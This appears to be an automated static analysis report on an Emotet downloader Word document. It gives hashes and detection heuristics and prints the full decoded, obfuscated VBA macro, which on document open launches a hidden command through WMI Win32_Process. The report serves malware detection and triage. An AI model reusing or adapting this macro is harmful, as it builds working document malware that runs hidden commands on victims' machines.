Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24cdf8b366b0eac1…

MALICIOUS

Office (OLE)

177.0 KB Created: 2020-07-30 08:15:00 Authoring application: Microsoft Office Word First seen: 2021-01-23
MD5: b9d3fa060622b92bb66a39988de34965 SHA-1: beca6a6cf4a15c125e15bd86fdeea71efa9a2076 SHA-256: 24cdf8b366b0eac10b89d7613809bc9297d51e9bc8f69019000225739d5516e2
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-9367770-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9367770-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    MGBVHhecukzww = Split _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set FKLEMoipusklrgsk = CreateObject(FOJEXovmcqtf)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5316 bytes
SHA-256: fb9a40d4c6be37692a089e5f5d889f88181ac32d78c746105d7ee30741fd9fdb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
53 of 100 identifiers look randomly generated (e.g. 'hssn2n23dce838h2782ghhHU') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QQMXBvgfctgplnrwig"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
OMZVUpgizsbhzonww.SZAKSgqqmjatizyi
End Sub


Attribute VB_Name = "OMZVUpgizsbhzonww"
Attribute VB_Base = "0{D94C082B-DC9E-4B8F-84DC-29706EE1FC60}{25416731-B8E9-4767-B05D-84A9DA7230D3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function SZAKSgqqmjatizyi()
KVn3Y4Áw0ÔA = 4
Do While KVn3Y4Áw0ÔA < 4 + 8
KVn3Y4Áw0ÔA = KVn3Y4Áw0ÔA + 8: DoEvents
Loop
Dim f8ÖXW2ÄqDXRG As String
f8ÖXW2ÄqDXRG = Replace$("QnUsbBw4ÄKnTibrA", "QnUsbBw4ÄKn", "for")
Dim GD5ÕFBF6ÒuvD As Integer
GD5ÕFBF6ÒuvD = 9
Do While GD5ÕFBF6ÒuvD < 9 + 4
GD5ÕFBF6ÒuvD = GD5ÕFBF6ÒuvD + 9: DoEvents
Loop
LBDSLhmjbxwqobzxme = Chr(OMZVUpgizsbhzonww.Zoom + ((50 + 50 + 20) / 8))
Dim hdgKyIb4ÛjC As Integer
hdgKyIb4ÛjC = 5
Do While hdgKyIb4ÛjC < 5 + 5
hdgKyIb4ÛjC = hdgKyIb4ÛjC + 7: DoEvents
Loop
LBBULhwqrjypjvm = "838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dw838h2782ghhHU*(Y*hioHY*hssn2n23di838h2782ghhHU*(Y*hioHY*hssn2n23dnm838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dgm838h2782ghhHU*(Y*hioHY*hssn2n23dt838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d" + LBDSLhmjbxwqobzxme + "838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d:838h2782ghhHU*(Y*hioHY*hssn2n23dw838h2782ghhHU*(Y*hioHY*hssn2n23din838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d3838h2782ghhHU*(Y*hioHY*hssn2n23d2838h2782ghhHU*(Y*hioHY*hssn2n23d_838h2782ghhHU*(Y*hioHY*hssn2n23d" + OMZVUpgizsbhzonww.WMDDKocjwkhnuoibq + "838h2782ghhHU*(Y*hioHY*hssn2n23dro838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dce838h2782ghhHU*(Y*hioHY*hssn2n23ds838h2782ghhHU*(Y*hioHY*hssn2n23ds838h2782ghhHU*(Y*hioHY*hssn2n23d"
Dim FsVG As String
FsVG = Replace$("HfOnkMLa2ÄVOemSbJg", "HfOnkML", "jvSb5ÁQHX")
FOJEXovmcqtf = FLPLQimelzljnc(LBBULhwqrjypjvm)
Dim J6áq4ÕR0Â As String
J6áq4ÕR0Â = Replace$("AyA7ÌWYeuUqBUfFDdc", "AyA7ÌWYeu", "ZvXdXZCY")
Set FKLEMoipusklrgsk = CreateObject(FOJEXovmcqtf)
Dim Es7Ëtfr As Integer
Es7Ëtfr = 8
Do While Es7Ëtfr < 8 + 3
Es7Ëtfr = Es7Ëtfr + 9: DoEvents
Loop
GMLHFcfpqsprbdlefjx = OMZVUpgizsbhzonww.VBWJBfjggylszfdf.ControlTipText
wcNZtnpFpA = 8
Do While wcNZtnpFpA < 8 + 2
wcNZtnpFpA = wcNZtnpFpA + 3: DoEvents
Loop
TKNEXzeocxji = UOJSI + (FOJEXovmcqtf + LBDSLhmjbxwqobzxme) + (OMZVUpgizsbhzonww.XEKSHrmtlrvovilut.ControlTipText + GMLHFcfpqsprbdlefjx)
Dim n6Àq As String
n6Àq = Replace$("CO6ÃiqdotmZmIRVG", "CO6Ãiq", "vQLr1È1ÉlU")
AOCPXecjqlhvxlqlma = TKNEXzeocxji + OMZVUpgizsbhzonww.WMDDKocjwkhnuoibq
Dim S3Â6Å2Ù0álsZh As Integer
S3Â6Å2Ù0álsZh = 8
Do While S3Â6Å2Ù0álsZh < 8 + 3
S3Â6Å2Ù0álsZh = S3Â6Å2Ù0álsZh + 2: DoEvents
Loop
Set CYLYAvuzgkqpls = ORUWRertjsmhxf(AOCPXecjqlhvxlqlma)
Dim DYilPBNgb As Integer
DYilPBNgb = 1
Do While DYilPBNgb < 1 + 3
DYilPBNgb = DYilPBNgb + 2: DoEvents
Loop
vfde = Array("qnoih hiqwio hiossisi", FKLEMoipusklrgsk. _
Create(FLDUZgoemshsuirwamd, HGCTSeuzffhx, CYLYAvuzgkqpls), "ihqwi hqiodhos aihidoqi ")
Dim XK6ÎihXYdel As String
XK6ÎihXYdel = Replace$("wavIaG7ÈJkjfEdjegJfp", "wavIaG7ÈJkj", "FnaL0ÍW0Óf")
End Function
Function ORUWRertjsmhxf(PTIBVcmwjwuherjhq)
Set ORUWRertjsmhxf = CreateObject(PTIBVcmwjwuherjhq)
Dim rFn As Integer
rFn = 1
Do While rFn < 1 + 7
rFn = rFn + 1: DoEvents
Loop
ORUWRertjsmhxf.showwindow = (SMXJZcigpzqfk + HCMMJqjzmmivxl)
Dim qIft6Ãs5ÅR As String
qIft6Ãs5ÅR = Replace$("G1ÕvQLrK5Æ5ÔUtrS", "G1ÕvQL", "Dh3É")
End Function
Function FLPLQimelzljnc(XNYRAuibsqjevveic)
TRGJMnlycydmajpkv = XNYRAuibsqjevveic
Dim UlsZhPn As String
UlsZhPn = Replace$("pDYilPBNgBIav5ÐX2Çt", "pDYilPBNg", "DGwj")
MGBVHhecukzww = Split _
(TRGJMnlycydmajpkv, "838h2782ghhHU*(Y*hioHY*hssn2n23d")
Dim CywavIaGsU As String
CywavIaGsU = Replace$("kjZmRvGn", "kjZm", "uhJ")
BAKVYvggqtmhvwbg = fder + Join(MGBVHhecukzww, bzder)
Dim Fu8F As String
Fu8F = Replace$("UejcP7ØHGyym1ÆahNWE", "UejcP7ØHGyy", "LwLtp")
FLPLQimelzljnc = BAKVYvggqtmhvwbg
Dim DSLov As Integer
DSLov = 1
Do While DSLov < 1 + 3
DSLov = DSLov + 7: DoEvents
Loop
End Function
Function FLDUZgoemshsuirwamd()
ewr463te = OMZVUpgizsbhzonww.XWFEAobbaguuyondmi.Pages(11 / 11).ControlTipText
Dim UjqH26Âk As Integer
UjqH26Âk = 1
Do While UjqH26Âk < 1 + 9
UjqH26Âk = UjqH26Âk + 6: DoEvents
Loop
FLDUZgoemshsuirwamd = FLPLQimelzljnc(ewr463te)
Dim Hyu6ÇyI As Integer
Hyu6ÇyI = 8
Do While Hyu6ÇyI < 8 + 3
Hyu6ÇyI = Hyu6ÇyI + 9: DoEvents
Loop
End Function


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{49A90FA5-E676-4C17-8D05-E8402E8BFCF1}{95A8FB21-2DCD-48D8-9313-C518FCEBB6FB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False